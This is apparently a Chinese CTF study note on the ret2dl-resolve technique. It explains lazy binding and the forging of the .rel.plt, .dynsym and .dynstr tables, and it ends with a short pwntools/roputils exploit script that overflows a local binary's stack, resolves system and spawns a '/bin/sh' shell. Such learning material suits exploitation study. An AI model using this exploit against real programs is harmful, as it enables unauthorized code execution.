Ret2dl

挺难的一个知识点,看了两天也只弄懂一点皮毛,感觉还是因为最底层的东西没有弄懂导致理解困难

使用情景:libc地址不好泄露,也没有其他的漏洞,但是可以栈溢出

原理

首先需要了解ELF文件结构以及动态链接相关知识

当程序进行动态链接时,为了能够减少资源的浪费动态链接将连接的过程推迟到了运行的时候,当我们第一次调用一个函数的时候,程序会查找需要链接的各种信息,再通过_dl_runtime_resolve这个函数将正确的地址写进got.plt表中,第二次查询的时候就不需要再走一遍这个过程了,直接就可以调用函数(详见参考博客)

那么如果我们可以控制相应的参数以及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。

动态链接过程

1

而整个dl函数的过程入下图所示:

2

整个过程说白了就是:

  1. 先从 .rel.plt 表里找到某个函数在 .dynsym 里的偏移
  2. 再从 .dynsym 符号表里找函数在 .dynstr 表里的偏移
  3. 再从 .dynstr 表里找到具体的函数对应的字符串,然后将这个字符串解析成函数

而我们的攻击方式就是伪造所谓的表,然后将我们伪造表的偏移当参数传入,这样的话,他就会解析到我们想需要的函数了

攻击:

可以看到,整个 dl 函数主要是利用了三个表

  • .rel.plt
  • .dynsym
  • dynstr

那我们要做的就是伪造这三个表,将我们伪造表的偏移当参数传入,这样它就会解析我们想要的函数了

当然也可以工具一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from roputils import * 
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()
rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_runtimeresolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf) buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

参考链接

https://blog.csdn.net/qq_41202237/article/details/107378159

https://xz.aliyun.com/t/5122

https://blog.csdn.net/qq_51868336/article/details/114644569